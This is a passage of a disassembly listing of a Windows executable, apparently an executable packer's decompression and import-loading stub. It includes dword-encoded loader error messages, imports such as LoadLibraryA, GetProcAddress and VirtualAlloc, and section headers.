; sub_4E41AC+19p ...
add dl, dl
jnz short locret_4E4237
mov dl, [esi]
inc esi
adc dl, dl
locret_4E4237: ; CODE XREF: sub_4E422E+2j
retn
sub_4E422E endp
; =============== S U B R O U T I N E =======================================
sub_4E4238 proc near ; CODE XREF: sub_4E41AC+45p
; sub_4E41AC+5Bp
xor ecx, ecx
sub_4E4238 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4E423A proc near ; CODE XREF: sub_4E41AC:loc_4E41E8p
inc ecx
loc_4E423B: ; CODE XREF: sub_4E423A+Dj
call sub_4E422E
adc ecx, ecx
call sub_4E422E
jb short loc_4E423B
retn
sub_4E423A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4E41AC
loc_4E424A: ; CODE XREF: sub_4E41AC+4Fj
pop edi
pop esi
pop ebx
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_4E41AC
; ---------------------------------------------------------------------------
align 10h
dd 7 dup(0)
dd 43000000h, 646C756Fh, 746F6E20h, 616F6C20h, 79642064h
dd 696D616Eh, 696C2063h, 6C206B6Eh, 61726269h, 25207972h
dd 68540073h, 72702065h, 6465636Fh, 20657275h, 63207325h
dd 646C756Fh, 746F6E20h, 20656220h, 61636F6Ch, 20646574h
dd 74206E69h, 25206568h, 68540073h, 726F2065h, 616E6964h
dd 7525206Ch, 756F6320h, 6E20646Ch, 6220746Fh, 6F6C2065h
dd 65746163h, 6E692064h, 65687420h, 732520h, 3 dup(0)
dd 0E4350h, 0E4330h, 3 dup(0)
dd 0E439Dh, 0E4344h, 5 dup(0)
dd 77E805D8h, 77E7A5FDh, 77E7980Ah, 77E79E34h, 0
aJWNW db 'jÉÔw×Öw',0
align 10h
aKernel32_dll_1 db 'KERNEL32.DLL',0
db 2 dup(0), 4Ch
aOadlibrarya db 'oadLibraryA',0
dd 47000000h, 72507465h, 6441636Fh, 73657264h, 73h, 72695600h
dd 6C617574h, 6F6C6C41h, 63h, 72695600h, 6C617574h, 65657246h
dd 45535500h, 2E323352h, 4C4C44h, 73770000h, 6E697270h
dd 416674h, 654D0000h, 67617373h, 786F4265h, 41h, 30Fh dup(0)
seg003 ends
; Section 5. (virtual address 000E5000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 000E5000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 4E5000h
align 2000h
_idata2 ends
end start